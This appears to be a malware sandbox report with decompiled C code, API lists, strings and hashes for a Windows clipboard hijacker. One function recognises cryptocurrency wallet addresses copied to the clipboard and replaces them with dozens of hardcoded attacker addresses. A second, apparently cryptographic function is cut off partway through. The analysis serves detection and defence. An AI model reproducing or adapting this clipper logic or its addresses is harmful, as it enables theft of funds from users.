String ID: $QA$%s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolDriver.exe$%s\*$shell32.dll$shell32.dll
API String ID: 3833403615-723921974
Opcode ID: bc23619f8dc30859a07966784ca3ed239acb01018f2188f41b04a5a3b5a0ba6e
Instruction ID: f358d4f12602216a8cf7219611423f3e74dfa0c58bc439e6418ed54077a909fe
Opcode Fuzzy Hash: bc23619f8dc30859a07966784ca3ed239acb01018f2188f41b04a5a3b5a0ba6e
Instruction Fuzzy Hash: 2DD18175900218ABCB20DF60DC48FEA77B8FF44305F0485EAE609A6291D7B99BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00403480 Relevance: 74.3, APIs: 26, Strings: 16, Instructions: 771
clipboardstringmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00403480(WCHAR* _a4) {
				int _v8;
				WCHAR* _v12;
				int _v16;
				void* _v20;
				signed char _v21;
				void* _v28;
				signed int _v32;
				signed int _t346;
				signed int _t347;
				void* _t567;

				_v21 = 1;
				_v12 = 0;
				_v20 = 0;
				_v8 = lstrlenW(_a4);
				if(( *_a4 & 0x0000ffff) != 0x30 && ( *_a4 & 0x0000ffff) != 0x54 && ( *_a4 & 0x0000ffff) != 0x33 && ( *_a4 & 0x0000ffff) != 0x74 && ( *_a4 & 0x0000ffff) != 0x62 && ( *_a4 & 0x0000ffff) != 0x31 && ( *_a4 & 0x0000ffff) != 0x58 && ( *_a4 & 0x0000ffff) != 0x44 && ( *_a4 & 0x0000ffff) != 0x4c && ( *_a4 & 0x0000ffff) != 0x72 && ( *_a4 & 0x0000ffff) != 0x68 && ( *_a4 & 0x0000ffff) != 0x51 && ( *_a4 & 0x0000ffff) != 0x52 && ( *_a4 & 0x0000ffff) != 0x4e && ( *_a4 & 0x0000ffff) != 0x6e && ( *_a4 & 0x0000ffff) != 0x41 && ( *_a4 & 0x0000ffff) != 0x6c && ( *_a4 & 0x0000ffff) != 0x7a && ( *_a4 & 0x0000ffff) != 0x71 && ( *_a4 & 0x0000ffff) != 0x63 && ( *_a4 & 0x0000ffff) != 0x34 && ( *_a4 & 0x0000ffff) != 0x38 && ( *_a4 & 0x0000ffff) != 0x53 && ( *_a4 & 0x0000ffff) != 0x61 && ( *_a4 & 0x0000ffff) != 0x6b && ( *_a4 & 0x0000ffff) != 0x69 && ( *_a4 & 0x0000ffff) != 0x66 && ( *_a4 & 0x0000ffff) != 0x65 && ( *_a4 & 0x0000ffff) != 0x6f && ( *_a4 & 0x0000ffff) != 0x47 && ( *_a4 & 0x0000ffff) != 0x45 && ( *_a4 & 0x0000ffff) != 0x55 && ( *_a4 & 0x0000ffff) != 0x42) {
					return 0;
				}
				if(( *_a4 & 0x0000ffff) != 0x30) {
					if(( *_a4 & 0x0000ffff) == 0x31 || ( *_a4 & 0x0000ffff) == 0x33) {
						if(_v8 < 0x19 || _v8 > 0x23) {
							return 0;
						}
					} else {
						if(( *_a4 & 0x0000ffff) != 0x34) {
							if(( *_a4 & 0x0000ffff) != 0x4c) {
								if(( *_a4 & 0x0000ffff) != 0x72) {
									if(( *_a4 & 0x0000ffff) != 0x65) {
										if(( *_a4 & 0x0000ffff) != 0x6e) {
											if(StrStrW(_a4, L"bitcoincash:") == 0) {
												if(StrStrW(_a4, L"cosmos") == 0) {
													if(StrStrW(_a4, L"addr") == 0) {
														if(( *_a4 & 0x0000ffff) != 0x47) {
															if(( *_a4 & 0x0000ffff) != 0x45) {
																if(( *_a4 & 0x0000ffff) != 0x55) {
																	if(( *_a4 & 0x0000ffff) != 0x42) {
																		if(_v8 < 0x15 || _v8 > 0x38) {
																			return 0;
																		} else {
																			goto L107;
																		}
																	}
																	if(_v8 < 9 || _v8 > 0x3c) {
																		return 0;
																	} else {
																		goto L107;
																	}
																}
																if(_v8 == 9) {
																	goto L107;
																}
																return 0;
															}
															if(_v8 == 0x30) {
																_v21 = 0;
															}
															if(_v8 < 9 || _v8 > 0x30) {
																return 0;
															} else {
																goto L107;
															}
														}
														if(_v8 < 9 || _v8 > 0x3c) {
															return 0;
														} else {
															goto L107;
														}
													}
													if(_v8 < 0x3c || _v8 > 0x78) {
														return 0;
													} else {
														goto L107;
													}
												}
												if(_v8 < 0x2a || _v8 > 0x30) {
													return 0;
												} else {
													goto L107;
												}
											}
											if(_v8 < 0x32 || _v8 > 0x38) {
												return 0;
											} else {
												goto L107;
											}
										}
										if(_v8 < 0x28 || _v8 > 0x46) {
											return 0;
										} else {
											goto L107;
										}
									}
									if(_v8 < 0x3c || _v8 > 0x40) {
										return 0;
									} else {
										goto L107;
									}
								}
								if(_v8 < 0x18 || _v8 > 0x32) {
									return 0;
								} else {
									goto L107;
								}
							}
							if(_v8 < 0x1a || _v8 > 0x26) {
								return 0;
							}
						} else {
							if(_v8 != 0x5f) {
								return 0;
							}
						}
					}
					goto L107;
				} else {
					if(_v8 != 0x2a) {
						return 0;
					}
					L107:
					if(StrStrW(_a4, L"bitcoincash:") != 0) {
						_v21 = 0;
					}
					if(StrStrW(_a4, L"ronin:") != 0) {
						_v21 = 0;
					}
					if(StrStrW(_a4, L"nano_") != 0) {
						_v21 = 0;
					}
					if((_v21 & 0x000000ff) != 1) {
						L126:
						if(( *_a4 & 0x0000ffff) == 0x30) {
							_v12 = "0xAa3ea4838e8E3F6a1922c6B67E3cD6efD1ff175b";
						}
						if(( *_a4 & 0x0000ffff) == 0x54) {
							_v12 = "THRUoPK7oYqF7YyKZJvPYwTH35JsPZVPto";
						}
						if(( *_a4 & 0x0000ffff) == 0x31) {
							_v12 = "1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6";
						}
						if(( *_a4 & 0x0000ffff) == 0x71) {
							_v12 = "qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut";
						}
						if(( *_a4 & 0x0000ffff) == 0x58) {
							_v12 = "XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL";
						}
						if(( *_a4 & 0x0000ffff) == 0x4c) {
							_v12 = "LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX";
						}
						if(( *_a4 & 0x0000ffff) == 0x72) {
							_v12 = "rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH";
						}
						if(( *_a4 & 0x0000ffff) == 0x68) {
							_v12 = "hx7b6677c8f7049c2a6e9df0dfd422683c32e67709";
						}
						if(( *_a4 & 0x0000ffff) == 0x51) {
							_v12 = "QiAmmfSSTe5fkaSLdp9mV4MDHfz27JBoVU";
						}
						if(( *_a4 & 0x0000ffff) == 0x52) {
							_v12 = "RCZdkrikMCWrhBG9gNVmmE9yDcQxSUbqFd";
						}
						if(( *_a4 & 0x0000ffff) == 0x4e) {
							_v12 = "NDKNTURHWAMQHNHMOPJML5FKZZPQIRE4IZFSMEU2";
						}
						if(( *_a4 & 0x0000ffff) == 0x41) {
							_v12 = "ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ";
						}
						if(( *_a4 & 0x0000ffff) == 0x34) {
							_v12 = "48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg";
						}
						if(( *_a4 & 0x0000ffff) == 0x53 && (_a4[1] & 0x0000ffff) == 0x50) {
							_v12 = "SP1GK1GES8EXB6E15KQJ0EM169NQQNDZG8A2GDRZQ";
						}
						if(( *_a4 & 0x0000ffff) == 0x61 && (_a4[1] & 0x0000ffff) != 0x64) {
							_v12 = "aCguZWA9zwz4Dk9zNyxdM96mzWnjLoxzYQ";
						}
						if(( *_a4 & 0x0000ffff) == 0x66 && (_a4[1] & 0x0000ffff) == 0x31) {
							_v12 = "f1urg44xg2ziciji4akbxlkwb5y64msbmb7py5ury";
						}
						if(( *_a4 & 0x0000ffff) == 0x6c && (_a4[1] & 0x0000ffff) == 0x73 && (_a4[2] & 0x0000ffff) == 0x6b) {
							_v12 = "lsk5mjenfunkehcwu8mss9qd6emg3nrr78em82hwn";
						}
						if(( *_a4 & 0x0000ffff) == 0x7a && (_a4[1] & 0x0000ffff) == 0x69 && (_a4[2] & 0x0000ffff) == 0x6c) {
							_v12 = "zil1zucjet9qmgecmen2lm7n2pevu6pf8hg8vzgrl3";
						}
						if(( *_a4 & 0x0000ffff) == 0x65 && (_a4[1] & 0x0000ffff) == 0x72 && (_a4[2] & 0x0000ffff) == 0x64) {
							_v12 = "erd1qvpwuwc2xue69enjtte7z3tekdclx9fc4769mlafc3vjt68hp5pq0s82xw";
						}
						if(( *_a4 & 0x0000ffff) == 0x6b && (_a4[1] & 0x0000ffff) == 0x61 && (_a4[2] & 0x0000ffff) == 0x76 && (_a4[3] & 0x0000ffff) == 0x61) {
							_v12 = "kava14z663qgxvaq30dwdqepa6r94mhfnzww87nmz7f";
						}
						if(( *_a4 & 0x0000ffff) == 0x69 && (_a4[1] & 0x0000ffff) == 0x6e && (_a4[2] & 0x0000ffff) == 0x6a) {
							_v12 = "inj1s33ycsnpnh70ltzrcwvp7ahcpfwn7x9nnptsym";
						}
						if(( *_a4 & 0x0000ffff) == 0x6f && (_a4[1] & 0x0000ffff) == 0x73 && (_a4[2] & 0x0000ffff) == 0x6d && (_a4[3] & 0x0000ffff) == 0x6f) {
							_v12 = "osmo1nhtpu3gqq7d448u320xzkjk3j8f370v4f336xj";
						}
						if(( *_a4 & 0x0000ffff) == 0x33) {
							if((_a4[1] & 0x0000ffff) != 0x50) {
								_v12 = "3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3";
							} else {
								_v12 = "3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x44) {
							if(_v8 != 0x22) {
								if(_v8 == 0x23) {
									_v12 = "DsjozoLCkxdeec5NNLTPx5zRS23UjUm7C7v";
								}
							} else {
								_v12 = "D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x74) {
							if((_a4[1] & 0x0000ffff) == 0x31 || (_a4[1] & 0x0000ffff) == 0x32) {
								_v12 = "t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn";
							} else {
								if((_a4[1] & 0x0000ffff) != 0x65 || (_a4[2] & 0x0000ffff) != 0x72 || (_a4[3] & 0x0000ffff) != 0x72 || (_a4[4] & 0x0000ffff) != 0x61) {
									_v12 = "tz1hG2rJaUJBkmwzMTw5KhzQdyPxqJAmu6k7";
								} else {
									_v12 = "terra1ax9ks6fmneqd997wgkdx35zntxfvswg0an2ym6";
								}
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x62) {
							if(StrStrW(_a4, L"bnb") != 0) {
								_v12 = "bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd";
							}
							if(StrStrW(_a4, L"band") != 0) {
								_v12 = "band1mgnt2v6n9x7pvfquj4ehguyhjytkjswql0uvhr";
							}
							if(StrStrW(_a4, L"bc1") != 0) {
								_v12 = "bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg";
							}
						}
						if(StrStrW(_a4, L"ronin:") != 0) {
							_v12 = "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17";
						}
						if(StrStrW(_a4, L"bitcoincash:") != 0) {
							_v12 = "bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut";
						}
						if(StrStrW(_a4, L"cosmos") != 0) {
							_v12 = "cosmos1lc7xvs0tyl3u57vgn4nsw2kldmp84lrw75c9g4";
						}
						if(StrStrW(_a4, L"addr") != 0) {
							_v12 = "addr1q8m948qxhth60qzhag0d3kck7p0y5gqkvnct4w9zwqljcn0kt2wqdwh057q906s7mrd3duz7fgspve8sh2u2yupl93xsjzumrw";
						}
						if(StrStrW(_a4, L"nano_") != 0) {
							_v12 = "nano_1m1r95bjgfgtahh3dcxeexuidpr6kr799pfuue4u9xczdkymo8rsaebc4ed4";
						}
						if(( *_a4 & 0x0000ffff) == 0x47) {
							if(_v8 != 9) {
								if(_v8 != 0x38) {
									_v12 = "GU5ydEfPFXcUtEPqwcyX6AD7BkDAacHy4N";
								} else {
									_v12 = "GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE";
								}
							} else {
								_v12 = "G35598989";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x45) {
							if(_v8 == 9) {
								_v12 = "E36963824";
							}
							if(_v8 == 0x30) {
								_v12 = "EQA0PV0Evgs71IkPc8Ng0SrtM3ZZFK87K6B3SgR28VWP6rWT";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x42) {
							if(_v8 != 9) {
								if((_a4[1] & 0x0000ffff) == 0x36 && (_a4[2] & 0x0000ffff) == 0x32 && (_a4[3] & 0x0000ffff) == 0x71) {
									_v12 = "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA";
								}
							} else {
								_v12 = "B36461211";
							}
						}
						if(( *_a4 & 0x0000ffff) == 0x55) {
							_v12 = "U33390790";
						}
						_v16 = lstrlenA(_v12);
						if(_v16 != 0) {
							_v28 = GlobalAlloc(0x2002, _v16 + 1);
							if(_v28 != 0) {
								_v20 = GlobalLock(_v28);
								if(_v20 != 0) {
									memcpy(_v20, _v12, _v16 + 1);
									GlobalUnlock(_v28);
									if(OpenClipboard(0) != 0) {
										EmptyClipboard();
										SetClipboardData(1, _v28);
										CloseClipboard();
									}
								}
							}
						}
						return 1;
					} else {
						_v32 = 0;
						while(_v32 < _v8) {
							if(( *_a4 & 0x0000ffff) != 0x31 || (_a4[_v32] & 0x0000ffff) != 0x4f && (_a4[_v32] & 0x0000ffff) != 0x49 && (_a4[_v32] & 0x0000ffff) != 0x6c) {
								_t346 = _v32;
								_push(_a4[_t346] & 0x0000ffff);
								L0040ECB8();
								_t567 = _t567 + 4;
								if(_t346 != 0) {
									L125:
									_v32 = _v32 + 1;
									continue;
								}
								_t347 = _v32;
								_push(_a4[_t347] & 0x0000ffff);
								L0040ECBE();
								_t567 = _t567 + 4;
								if(_t347 != 0) {
									goto L125;
								}
								return 0;
							} else {
								return 0;
							}
						}
						goto L126;
					}
				}
			}

0x00403486
0x0040348a
0x00403491
0x004034a2
0x004034ae
0x00000000
0x00403668
0x00403678
0x00403695
0x004036a6
0x00000000
0x004036ae
0x004036ba
0x004036c3
0x004036e0
0x00403703
0x00403726
0x00403749
0x00403774
0x0040379f
0x004037ca
0x004037ed
0x0040380d
0x00403837
0x00403851
0x0040386c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040386c
0x00403857
0x00000000
0x00403866
0x00000000
0x00403866
0x00403857
0x0040383d
0x00000000
0x00403846
0x00000000
0x0040383f
0x00403813
0x00403815
0x00403815
0x0040381d
0x00000000
0x0040382c
0x00000000
0x0040382c
0x0040381d
0x004037f3
0x00000000
0x00403802
0x00000000
0x00403802
0x004037f3
0x004037d0
0x00000000
0x004037df
0x00000000
0x004037df
0x004037d0
0x004037a5
0x00000000
0x004037b4
0x00000000
0x004037b4
0x004037a5
0x0040377a
0x00000000
0x00403789
0x00000000
0x00403789
0x0040377a
0x0040374f
0x00000000
0x0040375e
0x00000000
0x0040375e
0x0040374f
0x0040372c
0x00000000
0x0040373b
0x00000000
0x0040373b
0x0040372c
0x00403709
0x00000000
0x00403718
0x00000000
0x00403718
0x00403709
0x004036e6
0x00000000
0x004036ee
0x004036c5
0x004036c9
0x00000000
0x004036cb
0x004036d2
0x004036c3
0x00000000
0x0040367a
0x0040367e
0x00000000
0x00403680
0x0040387b
0x0040388c
0x0040388e
0x0040388e
0x004038a3
0x004038a5
0x004038a5
0x004038ba
0x004038bc
0x004038bc
0x004038c7
0x00403960
0x00403969
0x0040396b
0x0040396b
0x0040397b
0x0040397d
0x0040397d
0x0040398d
0x0040398f
0x0040398f
0x0040399f
0x004039a1
0x004039a1
0x004039b1
0x004039b3
0x004039b3
0x004039c3
0x004039c5
0x004039c5
0x004039d5
0x004039d7
0x004039d7
0x004039e7
0x004039e9
0x004039e9
0x004039f9
0x004039fb
0x004039fb
0x00403a0b
0x00403a0d
0x00403a0d
0x00403a1d
0x00403a1f
0x00403a1f
0x00403a2f
0x00403a31
0x00403a31
0x00403a41
0x00403a43
0x00403a43
0x00403a53
0x00403a61
0x00403a61
0x00403a71
0x00403a7f
0x00403a7f
0x00403a8f
0x00403a9d
0x00403a9d
0x00403aad
0x00403ac7
0x00403ac7
0x00403ad7
0x00403af1
0x00403af1
0x00403b01
0x00403b1b
0x00403b1b
0x00403b2b
0x00403b51
0x00403b51
0x00403b61
0x00403b7b
0x00403b7b
0x00403b8b
0x00403bb1
0x00403bb1
0x00403bc1
0x00403bcd
0x00403bd8
0x00403bcf
0x00403bcf
0x00403bcf
0x00403bcd
0x00403be8
0x00403bee
0x00403bfd
0x00403bff
0x00403bff
0x00403bf0
0x00403bf0
0x00403bf0
0x00403bee
0x00403c0f
0x00403c1b
0x00403c29
0x00403c32
0x00403c3c
0x00403c6b
0x00403c62
0x00403c62
0x00403c62
0x00403c3c
0x00403c1b
0x00403c7b
0x00403c8e
0x00403c90
0x00403c90
0x00403ca8
0x00403caa
0x00403caa
0x00403cc2
0x00403cc4
0x00403cc4
0x00403cc2
0x00403cdc
0x00403cde
0x00403cde
0x00403cf6
0x00403cf8
0x00403cf8
0x00403d10
0x00403d12
0x00403d12
0x00403d2a
0x00403d2c
0x00403d2c
0x00403d44
0x00403d46
0x00403d46
0x00403d56
0x00403d5c
0x00403d6b
0x00403d76
0x00403d6d
0x00403d6d
0x00403d6d
0x00403d5e
0x00403d5e
0x00403d5e
0x00403d5c
0x00403d86
0x00403d8c
0x00403d8e
0x00403d8e
0x00403d99
0x00403d9b
0x00403d9b
0x00403d99
0x00403dab
0x00403db1
0x00403dc6
0x00403de0
0x00403de0
0x00403db3
0x00403db3
0x00403db3
0x00403db1
0x00403df0
0x00403df2
0x00403df2
0x00403e03
0x00403e0a
0x00403e1e
0x00403e25
0x00403e31
0x00403e38
0x00403e49
0x00403e55
0x00403e65
0x00403e67
0x00403e73
0x00403e79
0x00403e79
0x00403e65
0x00403e38
0x00403e25
0x00000000
0x004038cd
0x004038cd
0x004038df
0x004038f0
0x00403926
0x00403930
0x00403931
0x00403936
0x0040393b
0x0040395b
0x004038dc
0x00000000
0x004038dc
0x0040393d
0x00403947
0x00403948
0x0040394d
0x00403952
0x00000000
0x00000000
0x00000000
0x0040391f
0x00000000
0x0040391f
0x004038f0
0x00000000
0x004038df
0x004038c7

APIs

lstrlenW.KERNEL32(00000000), ref: 0040349C
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 0040376C
StrStrW.SHLWAPI(00000000,cosmos), ref: 00403797
StrStrW.SHLWAPI(00000000,addr), ref: 004037C2
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00403884
StrStrW.SHLWAPI(00000000,ronin:), ref: 0040389B
StrStrW.SHLWAPI(00000000,nano_), ref: 004038B2
isalpha.NTDLL ref: 00403931
isdigit.NTDLL ref: 00403948
StrStrW.SHLWAPI(00000000,bnb), ref: 00403C86
StrStrW.SHLWAPI(00000000,band), ref: 00403CA0
StrStrW.SHLWAPI(00000000,bc1), ref: 00403CBA
StrStrW.SHLWAPI(00000000,ronin:), ref: 00403CD4
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00403CEE
StrStrW.SHLWAPI(00000000,cosmos), ref: 00403D08
StrStrW.SHLWAPI(00000000,addr), ref: 00403D22
StrStrW.SHLWAPI(00000000,nano_), ref: 00403D3C
lstrlenA.KERNEL32(00000000), ref: 00403DFD
GlobalAlloc.KERNEL32(00002002,-00000001), ref: 00403E18
GlobalLock.KERNEL32(00000000), ref: 00403E2B
memcpy.NTDLL(00000000,00000000,-00000001), ref: 00403E49
GlobalUnlock.KERNEL32(00000000), ref: 00403E55
OpenClipboard.USER32(00000000), ref: 00403E5D
EmptyClipboard.USER32 ref: 00403E67
SetClipboardData.USER32(00000001,00000000), ref: 00403E73
CloseClipboard.USER32 ref: 00403E79

Strings

addr, xrefs: 00403D19
bitcoincash:, xrefs: 0040387B
nano_, xrefs: 004038A9
ronin:, xrefs: 00403CCB
bitcoincash:, xrefs: 00403763
bc1, xrefs: 00403CB1
0, xrefs: 00403D95
cosmos, xrefs: 0040378E
bnb, xrefs: 00403C7D
x A, xrefs: 00403DB3
band, xrefs: 00403C97
nano_, xrefs: 00403D33
bitcoincash:, xrefs: 00403CE5
addr, xrefs: 004037B9
ronin:, xrefs: 00403892
cosmos, xrefs: 00403CFF

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$lstrlen$AllocCloseDataEmptyLockOpenUnlockisalphaisdigitmemcpy
String ID: 0$addr$addr$band$bc1$bitcoincash:$bitcoincash:$bitcoincash:$bnb$cosmos$cosmos$nano_$nano_$ronin:$ronin:$x A
API String ID: 2780752356-2942954336
Opcode ID: 44cbdba9deeb7107d8b3b7d2097c7be82a0ef0baedef9415574d6a77df896170
Instruction ID: d632528e84cd7d79e58a61d2646b08debe5d79a97a260add38f67847cdb8d2ff
Opcode Fuzzy Hash: 44cbdba9deeb7107d8b3b7d2097c7be82a0ef0baedef9415574d6a77df896170
Instruction Fuzzy Hash: 7A624A70A00218EACB248F55C0944BE7FBAAF42752F20C46BE8856F294D779DFD1DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00406610 Relevance: 62.3, APIs: 34, Strings: 1, Instructions: 1037
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406610(intOrPtr _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _t1394;
				signed int _t1396;
				signed int _t1397;
				signed int _t1398;
				signed int _t1399;
				signed int _t1403;
				signed int _t1413;
				intOrPtr _t1414;
				signed int _t1424;
				intOrPtr _t1425;
				signed int _t1435;
				intOrPtr _t1436;
				signed int _t1446;
				intOrPtr _t1447;
				signed int _t1457;
				intOrPtr _t1458;
				signed int _t1468;
				intOrPtr _t1469;
				signed int _t1479;
				intOrPtr _t1480;
				signed int _t1490;
				intOrPtr _t1491;
				signed int _t1501;
				intOrPtr _t1502;
				signed int _t1512;
				intOrPtr _t1513;
				signed int _t1523;
				intOrPtr _t1524;
				signed int _t1534;
				intOrPtr _t1535;
				signed int _t1545;
				intOrPtr _t1546;
				signed int _t1556;
				intOrPtr _t1557;
				signed int _t1567;
				intOrPtr _t1568;
				signed int _t1577;
				intOrPtr _t1579;
				intOrPtr _t1580;
				intOrPtr _t1581;
				signed int _t1582;
				signed int _t1588;
				signed int _t1589;
				signed int _t1590;
				signed int _t1591;
				signed int _t1595;
				signed int _t1598;
				signed int _t1599;
				signed int _t1600;
				signed int _t1601;
				signed int _t1605;
				signed int _t1608;
				signed int _t1609;
				signed int _t1610;
				signed int _t1611;
				signed int _t1615;
				signed int _t1618;
				signed int _t1619;
				signed int _t1620;
				signed int _t1621;
				signed int _t1625;
				signed int _t1628;
				signed int _t1629;
				signed int _t1630;
				signed int _t1631;
				signed int _t1635;
				signed int _t1638;
				signed int _t1639;
				signed int _t1640;
				signed int _t1641;
				signed int _t1645;
				signed int _t1648;
				signed int _t1649;
				signed int _t1650;
				signed int _t1651;
				signed int _t1655;
				signed int _t1658;
				signed int _t1659;
				signed int _t1660;
				signed int _t1661;
				signed int _t1665;
				signed int _t1668;
				signed int _t1669;
				signed int _t1670;
				signed int _t1671;
				signed int _t1675;
				signed int _t1678;
				signed int _t1679;
				signed int _t1680;
				signed int _t1681;
				signed int _t1685;
				signed int _t1688;
				signed int _t1689;
				signed int _t1690;
				signed int _t1691;
				signed int _t1695;
				signed int _t1698;
				signed int _t1699;
				signed int _t1700;
				signed int _t1701;
				signed int _t1705;
				signed int _t1708;
				signed int _t1709;
				signed int _t1710;
				signed int _t1711;
				signed int _t1715;
				signed int _t1718;
				signed int _t1719;
				signed int _t1720;
				signed int _t1721;
				signed int _t1725;
				signed int _t1728;
				signed int _t1729;
				signed int _t1730;
				signed int _t1731;
				signed int _t1735;
				signed int _t1738;
				signed int _t1748;
				intOrPtr _t1749;
				intOrPtr _t1755;
				intOrPtr _t1756;
				intOrPtr _t1757;
				signed int _t1758;
				intOrPtr _t1767;
				intOrPtr _t1768;
				intOrPtr _t1769;
				signed int _t1770;
				intOrPtr _t1779;
				intOrPtr _t1780;
				intOrPtr _t1781;
				signed int _t1782;
				intOrPtr _t1791;
				intOrPtr _t1792;
				intOrPtr _t1793;
				signed int _t1794;
				intOrPtr _t1803;
				intOrPtr _t1804;
				intOrPtr _t1805;
				signed int _t1806;
				intOrPtr _t1815;
				intOrPtr _t1816;
				intOrPtr _t1817;
				signed int _t1818;
				intOrPtr _t1827;
				intOrPtr _t1828;
				intOrPtr _t1829;
				signed int _t1830;
				intOrPtr _t1839;
				intOrPtr _t1840;
				intOrPtr _t1841;
				signed int _t1842;
				intOrPtr _t1851;
				intOrPtr _t1852;
				intOrPtr _t1853;
				signed int _t1854;
				intOrPtr _t1863;
				intOrPtr _t1864;
				intOrPtr _t1865;
				signed int _t1866;
				intOrPtr _t1875;
				intOrPtr _t1876;
				intOrPtr _t1877;
				signed int _t1878;
				intOrPtr _t1887;
				intOrPtr _t1888;
				intOrPtr _t1889;
				signed int _t1890;
				intOrPtr _t1899;
				intOrPtr _t1900;
				intOrPtr _t1901;
				signed int _t1902;
				intOrPtr _t1911;
				intOrPtr _t1912;
				intOrPtr _t1913;
				signed int _t1914;
				intOrPtr _t1923;
				intOrPtr _t1924;
				intOrPtr _t1925;
				signed int _t1926;
				intOrPtr _t2043;
				intOrPtr _t2044;
				intOrPtr _t2045;
				intOrPtr _t2050;
				intOrPtr _t2051;
				intOrPtr _t2052;
				intOrPtr _t2057;
				intOrPtr _t2058;
				intOrPtr _t2059;
				intOrPtr _t2064;
				intOrPtr _t2065;
				intOrPtr _t2066;
				intOrPtr _t2071;
				intOrPtr _t2072;
				intOrPtr _t2073;
				intOrPtr _t2078;
				intOrPtr _t2079;
				intOrPtr _t2080;
				intOrPtr _t2085;
				intOrPtr _t2086;
				intOrPtr _t2087;
				intOrPtr _t2092;
				intOrPtr _t2093;
				intOrPtr _t2094;
				intOrPtr _t2099;
				intOrPtr _t2100;
				intOrPtr _t2101;
				intOrPtr _t2106;
				intOrPtr _t2107;
				intOrPtr _t2108;
				intOrPtr _t2113;
				intOrPtr _t2114;
				intOrPtr _t2115;
				intOrPtr _t2120;
				intOrPtr _t2121;
				intOrPtr _t2122;
				intOrPtr _t2127;
				intOrPtr _t2128;
				intOrPtr _t2129;
				intOrPtr _t2134;
				intOrPtr _t2135;
				intOrPtr _t2136;
				intOrPtr _t2141;
				intOrPtr _t2142;
				intOrPtr _t2143;
				intOrPtr _t2148;
				intOrPtr _t2149;
				intOrPtr _t2150;

				_t1394 =  *0x411120; // 0x89abcdef
				_v28 = _t1394;
				_t1577 =  *0x411124; // 0x1234567
				_v24 = _t1577;
				_v32 = 0;
				_v16 = 0x59;
				while(1) {
					_t1396 = _a8 << 4;
					if(_v32 >= _t1396) {
						break;
					}
					_v12 = _v28;
					_v8 = _v24;
					_t1397 = _v16;
					_t1579 = _a4;
					_v12 = _v12 ^  *(_t1579 + _t1397 * 8 - 0x2c8);
					_v8 = _v8 ^  *(_t1579 + _t1397 * 8 - 0x2c4);
					_t1398 = _v16;
					_t1580 = _a4;
					_v12 = _v12 ^  *(_t1580 + _t1398 * 8 - 0x88);
					_v8 = _v8 ^  *(_t1580 + _t1398 * 8 - 0x84);
					_t1399 = _v16;
					_t1581 = _a4;
					_t1748 = _v16;
					_t2043 = _a4;
					_v12 =  *(_t1581 + _t1399 * 8 - 0x90) &  *(_t2043 + _t1748 * 8 - 0xa8) ^ _v12;
					_v8 =  *(_t1581 + _t1399 * 8 - 0x8c) &  *(_t2043 + _t1748 * 8 - 0xa4) ^ _v8;
					_t1582 = _v16;
					_t1749 = _a4;
					_t1403 = _v16;
					_t2044 = _a4;
					_v12 =  *(_t1749 + _t1582 * 8 - 0xf8) &  *(_t2044 + _t1403 * 8 - 0x218) ^ _v12;
					_v8 =  *(_t1749 + _t1582 * 8 - 0xf4) &  *(_t2044 + _t1403 * 8 - 0x214) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1588 = _v16;
					_t2045 = _a4;
					 *(_t2045 + _t1588 * 8) = _v12 ^ _v12;
					 *(_t2045 + 4 + _t1588 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1589 = _v16;
					_t1755 = _a4;
					_v12 = _v12 ^  *(_t1755 + _t1589 * 8 - 0x2c0);
					_v8 = _v8 ^  *(_t1755 + _t1589 * 8 - 0x2bc);
					_t1590 = _v16;
					_t1756 = _a4;
					_v12 = _v12 ^  *(_t1756 + _t1590 * 8 - 0x80);
					_v8 = _v8 ^  *(_t1756 + _t1590 * 8 - 0x7c);
					_t1591 = _v16;
